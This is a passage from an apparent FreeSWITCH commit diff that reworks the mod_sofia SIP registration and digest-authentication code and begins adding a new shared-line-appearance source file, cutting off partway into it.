 	const char *display = "\"user\"";
 	char network_ip[80];
+	char network_port_c[6];
 	char url_ip[80];
 	char *register_gateway = NULL;
 	int network_port;
@@ -658,16 +790,18 @@
 	char *force_user;
 	char received_data[128] = "";
 	char *path_val = NULL;
-	su_addrinfo_t *my_addrinfo = msg_addrinfo(nua_current_request(nua));
+	switch_event_t *auth_params = NULL;
+	int r = 0;
 
 	/* all callers must confirm that sip, sip->sip_request and sip->sip_contact are not NULL */
 	switch_assert(sip != NULL && sip->sip_contact != NULL && sip->sip_request != NULL);
 
-	get_addr(network_ip, sizeof(network_ip), my_addrinfo->ai_addr,my_addrinfo->ai_addrlen);
-	network_port = get_port(my_addrinfo->ai_addr);
+	sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &network_port);
 
-	snprintf(url_ip, sizeof(url_ip), my_addrinfo->ai_addr->sa_family == AF_INET6 ? "[%s]" : "%s", network_ip);
+	snprintf(network_port_c, sizeof(network_port_c), "%d", network_port);
 
+	snprintf(url_ip, sizeof(url_ip), (msg_addrinfo(nua_current_request(nua)))->ai_addr->sa_family == AF_INET6 ? "[%s]" : "%s", network_ip);
+
 	expires = sip->sip_expires;
 	authorization = sip->sip_authorization;
 	contact = sip->sip_contact;
@@ -681,7 +815,7 @@
 	if (!to_user || !to_host) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can not do authorization without a complete from header\n");
 		nua_respond(nh, SIP_401_UNAUTHORIZED, NUTAG_WITH_THIS(nua), TAG_END());
-		return 1;
+		switch_goto_int(r, 1, end);
 	}
 
 	if (!reg_host) {
@@ -719,7 +853,7 @@
 		}
 		
 		display = contact->m_display;
-
+		
 		if (is_nat) {
 			if (is_tls) {
 				reg_desc = "Registered(TLS-NAT)";
@@ -728,9 +862,9 @@
 			} else {
 				reg_desc = "Registered(UDP-NAT)";
 			}
-			contact_host = url_ip;
-			switch_snprintf(new_port, sizeof(new_port), ":%d", network_port);
-			port = NULL;
+			//contact_host = url_ip;
+			//switch_snprintf(new_port, sizeof(new_port), ":%d", network_port);
+			//port = NULL;
 		} else {
 			if (is_tls) {
 				reg_desc = "Registered(TLS)";
@@ -751,18 +885,33 @@
 		}
 
 		if (sip->sip_path) {
-			path_val = sip_header_as_string(nh->nh_home, (void *) sip->sip_path);
+			path_val = sip_header_as_string(nua_handle_home(nh), (void *) sip->sip_path);
 			path_encoded_len = (strlen(path_val) * 3) + 1;
 			switch_zmalloc(path_encoded, path_encoded_len);
 			switch_copy_string(path_encoded, ";fs_path=", 10);
 			switch_url_encode(path_val, path_encoded + 9, path_encoded_len - 9);
+		} else if (is_nat) {
+			char my_contact_str[1024];
+			if (sip->sip_contact->m_url->url_params) {
+				switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s", 
+								contact->m_url->url_user, url_ip, network_port, sip->sip_contact->m_url->url_params);
+			} else {
+				switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d", contact->m_url->url_user, url_ip, network_port);
+			}
+
+			path_encoded_len = (strlen(my_contact_str) * 3) + 1;
+
+			switch_zmalloc(path_encoded, path_encoded_len);
+			switch_copy_string(path_encoded, ";fs_path=", 10);
+			switch_url_encode(my_contact_str, path_encoded + 9, path_encoded_len - 9);
+			exptime = 30;
 		}
 
 		if (port) {
 			switch_snprintf(new_port, sizeof(new_port), ":%s", port);
 		}
 
-		if (is_nat && (profile->pflags & PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
+		if (is_nat && sofia_test_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
 			switch_snprintf(received_data, sizeof(received_data), ";received=%s:%d", url_ip, network_port);
 		}
 
@@ -790,7 +939,7 @@
 		authorization = sip->sip_proxy_authorization;
 	}
 
-	if (regtype == REG_AUTO_REGISTER || (regtype == REG_REGISTER && (profile->pflags & PFLAG_BLIND_REG))) {
+	if (regtype == REG_AUTO_REGISTER || (regtype == REG_REGISTER && sofia_test_pflag(profile, PFLAG_BLIND_REG))) {
 		regtype = REG_REGISTER;
 		goto reg;
 	}
@@ -798,7 +947,7 @@
 	if (authorization) {
 		char *v_contact_str;
 		if ((auth_res = sofia_reg_parse_auth(profile, authorization, sip, sip->sip_request->rq_method_name,
-											 key, keylen, network_ip, v_event, exptime, regtype, to_user)) == AUTH_STALE) {
+											 key, keylen, network_ip, v_event, exptime, regtype, to_user, &auth_params)) == AUTH_STALE) {
 			stale = 1;
 		}
 
@@ -822,33 +971,50 @@
 			}
 
 			if ((v_contact_str = switch_event_get_header(*v_event, "sip-force-contact"))) {
+				if (!strcasecmp(v_contact_str, "NDLB-connectile-dysfunction-2.0")) {
+					char *path_encoded;
+					size_t path_encoded_len;
+					char my_contact_str[1024];
 
-				if (*received_data && (profile->pflags & PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
-					switch_snprintf(received_data, sizeof(received_data), ";received=%s:%d", url_ip, network_port);
-				}
+					switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d", contact->m_url->url_user, url_ip, network_port);
+					path_encoded_len = (strlen(my_contact_str) * 3) + 1;
 
-				if (!strcasecmp(v_contact_str, "nat-connectile-dysfunction") ||
-					!strcasecmp(v_contact_str, "NDLB-connectile-dysfunction") || !strcasecmp(v_contact_str, "NDLB-tls-connectile-dysfunction")) {
-					if (contact->m_url->url_params) {
-						switch_snprintf(contact_str, sizeof(contact_str), "%s <sip:%s@%s:%d;%s%s;fs_nat=yes>",
-										display, contact->m_url->url_user, url_ip, network_port, contact->m_url->url_params, received_data);
-					} else {
-						switch_snprintf(contact_str, sizeof(contact_str), "%s <sip:%s@%s:%d%s;fs_nat=yes>", display, contact->m_url->url_user, url_ip,
-										network_port, received_data);
+					switch_zmalloc(path_encoded, path_encoded_len);
+					switch_copy_string(path_encoded, ";fs_nat=yes;fs_path=", 21);
+					switch_url_encode(my_contact_str, path_encoded + 20, path_encoded_len - 20);
+					reg_desc = "Registered(AUTO-NAT-2.0)";
+					exptime = 30;
+					switch_snprintf(contact_str + strlen(contact_str), sizeof(contact_str) - strlen(contact_str), "%s", path_encoded);
+					free(path_encoded);
+				} else {
+					if (*received_data && sofia_test_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
+						switch_snprintf(received_data, sizeof(received_data), ";received=%s:%d", url_ip, network_port);
 					}
-					if (strstr(v_contact_str, "tls")) {
-						reg_desc = "Registered(TLSHACK)";
+
+	
+					if (!strcasecmp(v_contact_str, "nat-connectile-dysfunction") ||
+						!strcasecmp(v_contact_str, "NDLB-connectile-dysfunction") || !strcasecmp(v_contact_str, "NDLB-tls-connectile-dysfunction")) {
+						if (contact->m_url->url_params) {
+							switch_snprintf(contact_str, sizeof(contact_str), "%s <sip:%s@%s:%d;%s%s;fs_nat=yes>",
+											display, contact->m_url->url_user, url_ip, network_port, contact->m_url->url_params, received_data);
+						} else {
+							switch_snprintf(contact_str, sizeof(contact_str), "%s <sip:%s@%s:%d%s;fs_nat=yes>", display, contact->m_url->url_user, url_ip,
+											network_port, received_data);
+						}
+						if (strstr(v_contact_str, "tls")) {
+							reg_desc = "Registered(TLSHACK)";
+						} else {
+							reg_desc = "Registered(AUTO-NAT)";
+							exptime = 30;
+						}
+						nat_hack = 1;
 					} else {
-						reg_desc = "Registered(AUTO-NAT)";
-						exptime = 20;
-					}
-					nat_hack = 1;
-				} else {
-					char *p;
-					switch_copy_string(contact_str, v_contact_str, sizeof(contact_str));
-					for (p = contact_str; p && *p; p++) {
-						if (*p == '\'' || *p == '[' || *p == ']') {
-							*p = '"';
+						char *p;
+						switch_copy_string(contact_str, v_contact_str, sizeof(contact_str));
+						for (p = contact_str; p && *p; p++) {
+							if (*p == '\'' || *p == '[' || *p == ']') {
+								*p = '"';
+							}
 						}
 					}
 				}
@@ -863,38 +1029,41 @@
 		}
 
 		if (auth_res != AUTH_OK && !stale) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Send %s for [%s@%s]\n", forbidden ? "forbidden" : "challenge", to_user, to_host);
+			if (profile->debug) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Send %s for [%s@%s]\n", forbidden ? "forbidden" : "challenge", to_user, to_host);
+			}
 			if (auth_res == AUTH_FORBIDDEN) {
 				nua_respond(nh, SIP_403_FORBIDDEN, NUTAG_WITH_THIS(nua), TAG_END());
 			} else {
 				nua_respond(nh, SIP_401_UNAUTHORIZED, NUTAG_WITH_THIS(nua), TAG_END());
 			}
-			return 1;
+			switch_goto_int(r, 1, end);
 		}
 	}
 
 	if (!authorization || stale) {
+		const char *realm = profile->challenge_realm;
+
+		if (switch_strlen_zero(realm) || !strcasecmp(realm, "auto_to")) {
+			realm = to_host;
+		} else if (!strcasecmp(realm, "auto_from")) {
+			realm = from_host;
+		}
+
 		if (regtype == REG_REGISTER) {
-			sofia_reg_auth_challenge(nua, profile, nh, regtype, to_host, stale);
+			sofia_reg_auth_challenge(nua, profile, nh, regtype, realm, stale);
 			if (profile->debug) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Requesting Registration from: [%s@%s]\n", to_user, to_host);
 			}
 		} else {
-			const char *realm = profile->challenge_realm;
-
-			if (switch_strlen_zero(realm) || !strcasecmp(realm, "auto_to")) {
-				realm = to_host;
-			} else if (!strcasecmp(realm, "auto_from")) {
-				realm = from_host;
-			}
 			sofia_reg_auth_challenge(nua, profile, nh, regtype, realm, stale);
 		}
-		return 1;
+		switch_goto_int(r, 1, end);
 	}
   reg:
 
 	if (regtype != REG_REGISTER) {
-		return 0;
+		switch_goto_int(r, 0, end);
 	}
 
 	call_id = sip->sip_call_id->i_id;
@@ -914,7 +1083,14 @@
 	if (exptime) {
 		const char *agent = "dunno";
 		char guess_ip4[256];
+		const char *username = "unknown";
+		const char *realm = reg_host;
 
+		if (auth_params) {
+			username = switch_event_get_header(auth_params, "sip_auth_username");
+			realm = switch_event_get_header(auth_params, "sip_auth_realm");
+		}
+
 		if (sip->sip_user_agent) {
 			agent = sip->sip_user_agent->g_string;
 		}
@@ -932,13 +1108,14 @@
 		switch_mutex_lock(profile->ireg_mutex);
 		sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
 		
-		switch_find_local_ip(guess_ip4, sizeof(guess_ip4), AF_INET);
+		switch_find_local_ip(guess_ip4, sizeof(guess_ip4), NULL, AF_INET);
 		sql = switch_mprintf("insert into sip_registrations "
-							 "(call_id,sip_user,sip_host,presence_hosts,contact,status,rpid,expires,user_agent,server_user,server_host,profile_name,hostname) "
-							 "values ('%q','%q', '%q','%q','%q','%q', '%q', %ld, '%q', '%q', '%q', '%q', '%q')", 
+							 "(call_id,sip_user,sip_host,presence_hosts,contact,status,rpid,expires,"
+							 "user_agent,server_user,server_host,profile_name,hostname,network_ip,network_port,sip_username,sip_realm) "
+							 "values ('%q','%q', '%q','%q','%q','%q', '%q', %ld, '%q', '%q', '%q', '%q', '%q', '%q', '%q','%q','%q')", 
 							 call_id, to_user, reg_host, profile->presence_hosts ? profile->presence_hosts : reg_host, 
-							 contact_str, reg_desc, rpid, (long) switch_timestamp(NULL) + (long) exptime * 2, 
-							 agent, from_user, guess_ip4, profile->name, mod_sofia_globals.hostname);
+							 contact_str, reg_desc, rpid, (long) switch_epoch_time_now(NULL) + (long) exptime * 2, 
+							 agent, from_user, guess_ip4, profile->name, mod_sofia_globals.hostname, network_ip, network_port_c, username, realm);
 							 
 		if (sql) {
 			sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
@@ -959,6 +1136,11 @@
 			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "expires", "%ld", (long) exptime);
 			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "to-user", from_user);
 			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "to-host", from_host);
+			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "network-ip", network_ip);
+			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "network-port", network_port_c);
+			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "username", username);
+			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "realm", realm);
+			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "user-agent", agent);
 			switch_event_fire(&s_event);
 		}
 
@@ -1006,7 +1188,7 @@
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "user-agent",
 										   (sip && sip->sip_user_agent) ? sip->sip_user_agent->g_string : "unknown");
 			switch_event_add_header(event, SWITCH_STACK_BOTTOM, "from", "%s@%s", to_user, reg_host);
-			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "status", "UNRegistered");
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "status", "Unregistered");
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "event_type", "presence");
 			switch_event_fire(&event);
 		}
@@ -1070,11 +1252,14 @@
 
 		if (exptime) {
 			switch_snprintf(exp_param, sizeof(exp_param), "expires=%ld", exptime);
-			sip_contact_add_param(nh->nh_home, sip->sip_contact, exp_param);
+			sip_contact_add_param(nua_handle_home(nh), sip->sip_contact, exp_param);
 
-			if (switch_event_create(&s_event, SWITCH_EVENT_MESSAGE_QUERY) == SWITCH_STATUS_SUCCESS) {
-				switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "Message-Account", "sip:%s@%s", to_user, reg_host);
-				switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "VM-Sofia-Profile", profile->name);
+			if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER)) {
+				if (switch_event_create(&s_event, SWITCH_EVENT_MESSAGE_QUERY) == SWITCH_STATUS_SUCCESS) {
+					switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "Message-Account", "sip:%s@%s", to_user, reg_host);
+					switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "VM-Sofia-Profile", profile->name);
+					switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "VM-Call-ID", call_id);
+				}
 			}
 		} else {
 			if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_UNREGISTER) == SWITCH_STATUS_SUCCESS) {
@@ -1088,7 +1273,7 @@
 			}
 		}
 		
-		switch_rfc822_date(date, switch_timestamp_now());
+		switch_rfc822_date(date, switch_micro_time_now());
 		nua_respond(nh, SIP_200_OK, SIPTAG_CONTACT(sip->sip_contact),
 					TAG_IF(path_val, SIPTAG_PATH_STR(path_val)),
 					NUTAG_WITH_THIS(nua),
@@ -1099,10 +1284,25 @@
 			switch_event_fire(&s_event);
 		}
 
-		return 1;
+		if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
+			char *full_contact = sip_header_as_string(nua_handle_home(nh), (void *) sip->sip_contact);
+			if (full_contact && switch_stristr("SUBSCRIBE", full_contact)) {
+				sofia_sla_handle_register(nua, profile, sip, exptime, full_contact);
+				su_free(nua_handle_home(nh), full_contact);
+			}
+		}
+
+		switch_goto_int(r, 1, end);
 	}
 
-	return 0;
+
+ end:
+
+	if (auth_params) {
+		switch_event_destroy(&auth_params);
+	}
+
+	return (uint8_t)r;
 }
 
 
@@ -1113,16 +1313,12 @@
 	char key[128] = "";
 	switch_event_t *v_event = NULL;
 	char network_ip[80];
-	su_addrinfo_t *my_addrinfo = msg_addrinfo(nua_current_request(nua));
 	sofia_regtype_t type = REG_REGISTER;
 	int network_port = 0;
 	char *is_nat = NULL;
 
+	sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &network_port);
 
-	get_addr(network_ip, sizeof(network_ip), my_addrinfo->ai_addr, my_addrinfo->ai_addrlen);
-	network_port = get_port(msg_addrinfo(nua_current_request(nua))->ai_addr);
-
-
 	if (!(sip->sip_contact && sip->sip_contact->m_url)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "NO CONTACT!\n");
 		nua_respond(nh, 400, "Missing Contact Header", TAG_END());
@@ -1134,7 +1330,7 @@
 		goto end;
 	}
 
-	if ((profile->pflags & PFLAG_AGGRESSIVE_NAT_DETECTION)) {
+	if (sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION)) {
 		if (sip && sip->sip_via) {
 			const char *port = sip->sip_via->v_port;
 			const char *host = sip->sip_via->v_host;
@@ -1185,7 +1381,7 @@
 			}
 		}
 
-		if (ok && !(profile->pflags & PFLAG_BLIND_REG)) {
+		if (ok && !sofia_test_pflag(profile, PFLAG_BLIND_REG)) {
 			type = REG_AUTO_REGISTER;
 		} else if (!ok) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "IP %s Rejected by acl \"%s\"\n", network_ip, profile->reg_acl[x]);
@@ -1239,8 +1435,17 @@
 					new_expires = contact->m_expires;
 					expi = (uint32_t) atoi(new_expires);
 	
-					if (expi != sofia_private->gateway->freq) {
+					if (expi > 0 && expi != sofia_private->gateway->freq) {
 						sofia_private->gateway->freq = expi;
+						sofia_private->gateway->expires_str = switch_core_sprintf(sofia_private->gateway->pool, "%d", expi);
+
+						if (expi > 60) {
+							sofia_private->gateway->expires = switch_epoch_time_now(NULL) + (expi - 15);
+						} else {
+							sofia_private->gateway->expires = switch_epoch_time_now(NULL) + (expi - 2);
+						}
+
+
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
 										  "Changing expire time to %d by request of proxy %s\n", expi, sofia_private->gateway->register_proxy);
 					}
@@ -1276,21 +1481,28 @@
 	int ss_state;
 	sofia_gateway_t *var_gateway = NULL;
 	const char *gw_name = NULL;
+	switch_channel_t *channel = NULL;
+	const char *sip_auth_username = NULL;
+	const char *sip_auth_password = NULL;
 
+	if (session && (channel = switch_core_session_get_channel(session))) {
+		sip_auth_username = switch_channel_get_variable(channel, "sip_auth_username");
+		sip_auth_password = switch_channel_get_variable(channel, "sip_auth_password");
+	}
+
 	if (sofia_private && *sofia_private->auth_gateway_name) {
 		gw_name = sofia_private->auth_gateway_name;
 	}
 
 	if (session) {
 		private_object_t *tech_pvt;
-		switch_channel_t *channel = switch_core_session_get_channel(session);
 
-		if ((tech_pvt = switch_core_session_get_private(session)) && switch_test_flag(tech_pvt, TFLAG_REFER)) {
+		if ((tech_pvt = switch_core_session_get_private(session)) && sofia_test_flag(tech_pvt, TFLAG_REFER)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received reply from REFER\n");
 			goto end;
 		}
 
-		gw_name = switch_channel_get_variable(channel, "sip_use_gateway");
+		gw_name = switch_channel_get_variable(switch_core_session_get_channel(session), "sip_use_gateway");
 	}
 
 
@@ -1340,6 +1552,7 @@
 		}
 	}
 
+	
 
 
 	if (!(scheme && realm)) {
@@ -1347,22 +1560,25 @@
 		goto end;
 	}
 
-	if (!gateway) {
+	if (sip_auth_username && sip_auth_password) {
+		switch_snprintf(authentication, sizeof(authentication), "%s:%s:%s:%s", scheme, realm, sip_auth_username, sip_auth_password);
+	} else if (gateway) {
+		switch_snprintf(authentication, sizeof(authentication), "%s:%s:%s:%s", scheme, realm, gateway->auth_username, gateway->register_password);
+	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Matching gateway found\n");
-		goto cancel;
+		goto cancel;		
 	}
 
-	switch_snprintf(authentication, sizeof(authentication), "%s:%s:%s:%s", scheme, realm, gateway->auth_username, gateway->register_password);
-
 	if (profile->debug) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Authenticating '%s' with '%s'.\n", profile->username, authentication);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Authenticating '%s' with '%s'.\n",
+			(sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
 	}
 
 	ss_state = nua_callstate_authenticating;
 
 	tl_gets(tags, NUTAG_CALLSTATE_REF(ss_state), SIPTAG_WWW_AUTHENTICATE_REF(authenticate), TAG_END());
 
-	nua_authenticate(nh, SIPTAG_EXPIRES_STR(gateway->expires_str), NUTAG_AUTH(authentication), TAG_END());
+	nua_authenticate(nh, SIPTAG_EXPIRES_STR(gateway ? gateway->expires_str : "3600"), NUTAG_AUTH(authentication), TAG_END());
 
 	goto end;
 
@@ -1386,8 +1602,19 @@
 
 }
 
-auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization, sip_t const *sip, const char *regstr,
-								char *np, size_t nplen, char *ip, switch_event_t **v_event, long exptime, sofia_regtype_t regtype, const char *to_user)
+auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, 
+								sip_authorization_t const *authorization, 
+								sip_t const *sip, 
+								const char *regstr,
+								char *np, 
+								size_t nplen, 
+								char *ip, 
+								switch_event_t **v_event, 
+								long exptime, 
+								sofia_regtype_t 
+								regtype, 
+								const char *to_user,
+								switch_event_t **auth_params)
 {
 	int indexnum;
 	const char *cur;
@@ -1400,7 +1627,7 @@
 	const char *passwd = NULL;
 	const char *a1_hash = NULL;
 	char *sql;
-	char *mailbox = NULL;
+	char *number_alias = NULL;
 	switch_xml_t domain, xml = NULL, user, param, uparams, dparams, group = NULL, gparams = NULL;
 	char hexdigest[2 * SU_MD5_DIGEST_SIZE + 1] = "";
 	char *domain_name = NULL;
@@ -1455,7 +1682,7 @@
 	}
 
 	/* Optional check that auth name == SIP username */
-	if ((regtype == REG_REGISTER) && (profile->pflags & PFLAG_CHECKUSER)) {
+	if ((regtype == REG_REGISTER) && sofia_test_pflag(profile, PFLAG_CHECKUSER)) {
 		if (switch_strlen_zero(username) || switch_strlen_zero(to_user) || strcasecmp(to_user, username)) {
 			/* Names don't match, so fail */
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SIP username %s does not match auth username\n", switch_str_nil(to_user));
@@ -1528,7 +1755,11 @@
 
 	switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "sip_auth_method", (sip && sip->sip_request) ? sip->sip_request->rq_method_name : NULL);
 
+	if (auth_params) {
+		switch_event_dup(auth_params, params);
+	}
 
+
 	if (!switch_strlen_zero(profile->reg_domain)) {
 		domain_name = profile->reg_domain;
 	} else {
@@ -1544,10 +1775,17 @@
 
 		ret = AUTH_FORBIDDEN;
 		goto end;
+	} else {
+		const char *type = switch_xml_attr(user, "type");
+		if (type && !strcasecmp(type, "pointer")) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cant register a pointer.\n");
+			ret = AUTH_FORBIDDEN;
+			goto end;
+		}
 	}
 	
-	if (!(mailbox = (char *) switch_xml_attr(user, "mailbox"))) {
-		mailbox = switch_strlen_zero(username) ? "nobody" : username;
+	if (!(number_alias = (char *) switch_xml_attr(user, "number-alias"))) {
+		number_alias = switch_strlen_zero(username) ? "nobody" : username;
 	}
 
 	dparams = switch_xml_child(domain, "params");
@@ -1667,9 +1905,9 @@
 	}
 
 	if (nc && cnonce && qop) {
-		input2 = switch_mprintf("%q:%q:%q:%q:%q:%q", a1_hash, nonce, nc, cnonce, qop, uridigest);
+		input2 = switch_mprintf("%s:%s:%s:%s:%s:%s", a1_hash, nonce, nc, cnonce, qop, uridigest);
 	} else {
-		input2 = switch_mprintf("%q:%q:%q", a1_hash, nonce, uridigest);
+		input2 = switch_mprintf("%s:%s:%s", a1_hash, nonce, uridigest);
 	}
 
 	switch_assert(input2);
@@ -1701,42 +1939,70 @@
 
 	if (first && ret == AUTH_OK) {
 		if (v_event) {
-			switch_event_create(v_event, SWITCH_EVENT_REQUEST_PARAMS);
+			switch_event_create_plain(v_event, SWITCH_EVENT_REQUEST_PARAMS);
 		}
+
+		
 		if (v_event && *v_event) {
-			switch_xml_t xparams[3];
+			short int xparams_type[6];
+			switch_xml_t xparams[6];
 			int i = 0;
 
-			switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "sip_mailbox", mailbox);
+			switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "sip_number_alias", number_alias);
 			switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "sip_auth_username", username);
 			switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "sip_auth_realm", realm);
-			switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "mailbox", mailbox);
+			switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "number_alias", number_alias);
 			switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "user_name", username);
 			switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "domain_name", domain_name);
 
-			if ((dparams = switch_xml_child(domain, "variables"))) {
-				xparams[i++] = dparams;
+			if ((uparams = switch_xml_child(user, "params"))) {
+				xparams_type[i] = 0;
+				xparams[i++] = uparams;
 			}
 
-			if (group && (gparams = switch_xml_child(group, "variables"))) {
+			if (group && (gparams = switch_xml_child(group, "params"))) {
+				xparams_type[i] = 0;
 				xparams[i++] = gparams;
 			}
 
+			if ((dparams = switch_xml_child(domain, "params"))) {
+				xparams_type[i] = 0;
+				xparams[i++] = dparams;
+			}
+
 			if ((uparams = switch_xml_child(user, "variables"))) {
+				xparams_type[i] = 1;
 				xparams[i++] = uparams;
 			}
 
-			if (i <= 3) {
+			if (group && (gparams = switch_xml_child(group, "variables"))) {
+				xparams_type[i] = 1;
+				xparams[i++] = gparams;
+			}
+
+			if ((dparams = switch_xml_child(domain, "variables"))) {
+				xparams_type[i] = 1;
+				xparams[i++] = dparams;
+			}
+
+			if (i <= 6) {
 				int j = 0;
 
 				for (j = 0; j < i; j++) {
-					for (param = switch_xml_child(xparams[j], "variable"); param; param = param->next) {
+					for (param = switch_xml_child(xparams[j], (xparams_type[j]?"variable":"param")); param; param = param->next) {
 						const char *var = switch_xml_attr_soft(param, "name");
 						const char *val = switch_xml_attr_soft(param, "value");
 						sofia_gateway_t *gateway_ptr = NULL;
 
-						if (!switch_strlen_zero(var) && !switch_strlen_zero(val)) {
-							switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, var, val);
+						if (!switch_strlen_zero(var) && !switch_strlen_zero(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-",4) || !strcasecmp(var, "register-gateway")) ) {
+							if (!switch_event_get_header(*v_event, var)) {
+								if (profile->debug) {
+									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n",var, val);
+								}
+								switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, var, val);
+							} else {
+								continue;
+							}
 
 							if (!strcasecmp(var, "register-gateway")) {
 								if (!strcasecmp(val, "all")) {
@@ -1830,7 +2096,7 @@
 
 	switch_mutex_lock(mod_sofia_globals.hash_mutex);
 	if ((gateway = (sofia_gateway_t *) switch_core_hash_find(mod_sofia_globals.gateway_hash, key))) {
-		if (!(gateway->profile->pflags & PFLAG_RUNNING) || gateway->deleted) {
+		if (!sofia_test_pflag(gateway->profile, PFLAG_RUNNING) || gateway->deleted) {
 			gateway = NULL;
 			goto done;
 		}

Copied: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_sla.c (from rev 14471, freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_sla.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_sla.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,366 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Ken Rice, Asteria Solutions Group, Inc <ken@asteriasgi.com>
+ * Paul D. Tinsley <pdt at jackhammer.org>
+ * Bret McDanel <trixter AT 0xdecafbad.com>
+ * Brian West <brian@freeswitch.org>
+ *
+ * sofia_sla.c -- SOFIA SIP Endpoint (support for shared line appearance)
+ *  This file (and calls into it) developed by Matthew T Kaufman <matthew@matthew.at>
+ *
+ */
+#include "mod_sofia.h"
+
+static int sofia_sla_sub_callback(void *pArg, int argc, char **argv, char **columnNames);
+
+struct sla_helper {
+	char call_id[1024];
+};
+
+static int get_call_id_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+	struct sla_helper *sh = (struct sla_helper *) pArg;
+
+	switch_set_string(sh->call_id, argv[0]);
+	return 0;
+}
+
+void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const *sip, long exptime, const char *full_contact)
+{
+	nua_handle_t *nh = NULL;
+	char exp_str[256] = "";
+	char my_contact[256] = "";
+	char *sql;
+	struct sla_helper sh = { { 0 } };
+	char *contact_str = sofia_glue_strip_uri(full_contact);
